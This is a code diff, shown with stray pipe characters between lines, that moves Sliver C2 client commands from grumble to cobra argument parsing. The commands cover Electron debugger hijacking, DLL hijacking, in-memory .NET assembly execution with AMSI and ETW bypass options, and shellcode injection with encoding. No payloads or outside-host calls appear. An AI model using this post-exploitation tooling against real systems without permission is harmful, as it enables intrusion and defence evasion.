"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
electronExe := ctx.Flags.String("exe")
|
||||
electronExe, _ := cmd.Flags().GetString("exe")
|
||||
if electronExe == "" {
|
||||
con.PrintErrorf("Missing --exe flag, see --help\n")
|
||||
return
|
||||
}
|
||||
|
||||
curse := avadaKedavraElectron(electronExe, session, ctx, con)
|
||||
curse := avadaKedavraElectron(electronExe, session, cmd, con, args)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
@@ -67,8 +68,8 @@ func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
|
||||
}
|
||||
|
||||
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
exists, err := checkElectronPath(electronExe, session, ctx, con)
|
||||
func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
|
||||
exists, err := checkElectronPath(electronExe, session, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return nil
|
||||
@@ -77,7 +78,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
|
||||
con.PrintErrorf("Executable path does not exist: %s", electronExe)
|
||||
return nil
|
||||
}
|
||||
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
|
||||
electronProcess, err := checkElectronProcess(electronExe, session, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -98,7 +99,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Pid: electronProcess.Pid,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -110,7 +111,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
|
||||
curse, err := startCursedElectronProcess(electronExe, session, cmd, con, cargs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -118,9 +119,9 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
|
||||
return curse
|
||||
}
|
||||
|
||||
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
|
||||
func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (bool, error) {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: electronExe,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -129,9 +130,9 @@ func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumb
|
||||
return ls.GetExists(), nil
|
||||
}
|
||||
|
||||
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -147,21 +148,21 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *gr
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
|
||||
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
|
||||
debugPort := getRemoteDebuggerPort(ctx)
|
||||
debugPort := getRemoteDebuggerPort(cmd)
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
additionalArgs := ctx.Args.StringList("args")
|
||||
if len(additionalArgs) > 0 {
|
||||
args = append(args, additionalArgs...)
|
||||
|
||||
if len(cargs) > 0 {
|
||||
args = append(args, cargs...)
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: electronExe,
|
||||
Args: args,
|
||||
Output: false,
|
||||
@@ -213,21 +214,3 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -20,21 +20,28 @@ package cursed
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strconv"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
kill := ctx.Flags.Bool("kill")
|
||||
bindPort := ctx.Args.Int("bind-port")
|
||||
bindPort, err := strconv.Atoi(args[0])
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse bind port argument: %s (%s)", args[0], err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
kill, _ := cmd.Flags().GetBool("kill")
|
||||
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
|
||||
if kill {
|
||||
confirm := false
|
||||
@@ -60,7 +67,7 @@ func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Pid: int32(cursedProc.PID),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -20,15 +20,16 @@ package cursed
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
@@ -46,7 +47,7 @@ func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
|
||||
quality := ctx.Flags.Int64("quality")
|
||||
quality, _ := cmd.Flags().GetInt64("quality")
|
||||
if quality < 1 || quality > 100 {
|
||||
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
|
||||
return
|
||||
@@ -56,11 +57,11 @@ func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("Failed to take screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
saveFile, _ := cmd.Flags().GetString("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, data, 0644)
|
||||
err = os.WriteFile(saveFile, data, 0o644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save screenshot: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -27,15 +27,16 @@ import (
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
// Collect existing curses from core
|
||||
cursedProcesses := [][]string{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
@@ -112,8 +113,8 @@ func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
return port2process[selectedPortNumber]
|
||||
}
|
||||
|
||||
func getRemoteDebuggerPort(ctx *grumble.Context) int {
|
||||
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
|
||||
func getRemoteDebuggerPort(cmd *cobra.Command) int {
|
||||
port, _ := cmd.Flags().GetInt("remote-debugging-port")
|
||||
if port == 0 {
|
||||
port = insecureRand.Intn(30000) + 10000
|
||||
}
|
||||
|
||||
@@ -21,11 +21,12 @@ package dllhijack
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
|
||||
@@ -33,7 +34,7 @@ import (
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
|
||||
|
||||
// DllHijackCmd -- implements the dllhijack command
|
||||
func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var (
|
||||
localRefData []byte
|
||||
targetDLLData []byte
|
||||
@@ -44,11 +45,12 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
targetPath := ctx.Args.String("target-path")
|
||||
referencePath := ctx.Flags.String("reference-path")
|
||||
localFile := ctx.Flags.String("file")
|
||||
profileName := ctx.Flags.String("profile")
|
||||
localReferenceFilePath := ctx.Flags.String("reference-file")
|
||||
targetPath := args[0]
|
||||
|
||||
referencePath, _ := cmd.Flags().GetString("reference-path")
|
||||
localFile, _ := cmd.Flags().GetString("file")
|
||||
profileName, _ := cmd.Flags().GetString("profile")
|
||||
localReferenceFilePath, _ := cmd.Flags().GetString("reference-file")
|
||||
|
||||
if referencePath == "" {
|
||||
con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
|
||||
@@ -56,7 +58,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
if localReferenceFilePath != "" {
|
||||
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
|
||||
localRefData, err = os.ReadFile(localReferenceFilePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
|
||||
return
|
||||
@@ -68,7 +70,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("please use either --profile or --File")
|
||||
return
|
||||
}
|
||||
targetDLLData, err = ioutil.ReadFile(localFile)
|
||||
targetDLLData, err = os.ReadFile(localFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
@@ -83,7 +85,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
TargetLocation: targetPath,
|
||||
ReferenceDLL: localRefData,
|
||||
TargetDLL: targetDLLData,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
ProfileName: profileName,
|
||||
})
|
||||
ctrl <- true
|
||||
|
||||
@@ -21,24 +21,30 @@ package environment
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvGetCmd - Get a remote environment variable
|
||||
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args.String("name")
|
||||
var name string
|
||||
if len(args) > 0 {
|
||||
name = args[0]
|
||||
}
|
||||
|
||||
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
|
||||
Name: name,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -21,23 +21,25 @@ package environment
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvSetCmd - Set a remote environment variable
|
||||
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args.String("name")
|
||||
value := ctx.Args.String("value")
|
||||
name := args[0]
|
||||
value := args[1]
|
||||
if name == "" || value == "" {
|
||||
con.PrintErrorf("Usage: setenv KEY VALUE\n")
|
||||
return
|
||||
@@ -48,7 +50,7 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Key: name,
|
||||
Value: value,
|
||||
},
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -67,7 +69,6 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
} else {
|
||||
PrintSetEnvInfo(name, value, envInfo, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// PrintSetEnvInfo - Print the set environment info
|
||||
|
||||
@@ -21,21 +21,23 @@ package environment
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvUnsetCmd - Unset a remote environment variable
|
||||
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args.String("name")
|
||||
name := args[0]
|
||||
if name == "" {
|
||||
con.PrintErrorf("Usage: setenv NAME\n")
|
||||
return
|
||||
@@ -43,9 +45,8 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
|
||||
Name: name,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -63,7 +64,6 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
} else {
|
||||
PrintUnsetEnvInfo(name, unsetResp, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// PrintUnsetEnvInfo - Print the set environment info
|
||||
|
||||
@@ -25,27 +25,34 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
|
||||
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
assemblyPath := ctx.Args.String("filepath")
|
||||
arch, _ := cmd.Flags().GetString("arch")
|
||||
method, _ := cmd.Flags().GetString("method")
|
||||
className, _ := cmd.Flags().GetString("class")
|
||||
appDomain, _ := cmd.Flags().GetString("app-domain")
|
||||
pPid, _ := cmd.Flags().GetUint32("ppid")
|
||||
|
||||
assemblyPath := args[0]
|
||||
isDLL := false
|
||||
if filepath.Ext(assemblyPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
if isDLL {
|
||||
if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
|
||||
if className == "" || method == "" {
|
||||
con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
|
||||
return
|
||||
}
|
||||
@@ -56,15 +63,15 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
|
||||
assemblyArgs := ctx.Args.StringList("arguments")
|
||||
process := ctx.Flags.String("process")
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
assemblyArgs := args[1:]
|
||||
process, _ := cmd.Flags().GetString("process")
|
||||
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
inProcess := ctx.Flags.Bool("in-process")
|
||||
inProcess, _ := cmd.Flags().GetBool("in-process")
|
||||
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
runtime, _ := cmd.Flags().GetString("runtime")
|
||||
etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
|
||||
amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
|
||||
|
||||
if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
|
||||
con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
|
||||
@@ -86,17 +93,17 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing assembly ...", ctrl)
|
||||
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: assemblyArgsStr,
|
||||
Assembly: assemblyBytes,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
Arch: arch,
|
||||
Method: method,
|
||||
ClassName: className,
|
||||
AppDomain: appDomain,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
PPid: pPid,
|
||||
Runtime: runtime,
|
||||
EtwBypass: etwBypass,
|
||||
AmsiBypass: amsiBypass,
|
||||
@@ -117,26 +124,28 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execAssembly.Response)
|
||||
} else {
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
|
||||
if execAssembly.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
save, _ := cmd.Flags().GetBool("save")
|
||||
|
||||
PrintExecutionOutput(string(execAssembly.GetOutput()), save, cmd.Name(), hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
|
||||
LootExecute(execAssembly.GetOutput(), lootName, cmd.Name(), assemblyPath, hostName, con)
|
||||
}
|
||||
}
|
||||
@@ -26,31 +26,33 @@ import (
|
||||
"log"
|
||||
"os"
|
||||
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExecuteShellcodeCmd - Execute shellcode in-memory
|
||||
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
rwxPages := ctx.Flags.Bool("rwx-pages")
|
||||
interactive := ctx.Flags.Bool("interactive")
|
||||
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
|
||||
interactive, _ := cmd.Flags().GetBool("interactive")
|
||||
if interactive && beacon != nil {
|
||||
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
|
||||
return
|
||||
}
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
shellcodePath := ctx.Args.String("filepath")
|
||||
|
||||
pid, _ := cmd.Flags().GetUint32("pid")
|
||||
shellcodePath := args[0]
|
||||
shellcodeBin, err := os.ReadFile(shellcodePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
@@ -60,23 +62,23 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||
return
|
||||
}
|
||||
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
|
||||
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
|
||||
if shikataGaNai {
|
||||
if !rwxPages {
|
||||
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
|
||||
return
|
||||
}
|
||||
arch := ctx.Flags.String("architecture")
|
||||
arch, _ := cmd.Flags().GetString("architecture")
|
||||
if arch != "386" && arch != "amd64" {
|
||||
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
|
||||
return
|
||||
}
|
||||
iter := ctx.Flags.Int("iterations")
|
||||
iter, _ := cmd.Flags().GetUint32("iterations")
|
||||
con.PrintInfof("Encoding shellcode ...\n")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: arch,
|
||||
Iterations: uint32(iter),
|
||||
Iterations: iter,
|
||||
BadChars: []byte{},
|
||||
Data: shellcodeBin,
|
||||
})
|
||||
@@ -89,8 +91,10 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
|
||||
}
|
||||
|
||||
process, _ := cmd.Flags().GetString("process")
|
||||
|
||||
if interactive {
|
||||
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
|
||||
executeInteractive(cmd, process, shellcodeBin, rwxPages, con)
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
@@ -99,8 +103,8 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
RWXPages: rwxPages,
|
||||
Pid: uint32(pid),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: pid,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -133,7 +137,7 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient
|
||||
}
|
||||
}
|
||||
|
||||
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
|
||||
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
|
||||
// Check active session
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
@@ -148,7 +152,6 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
|
||||
SessionID: session.ID,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
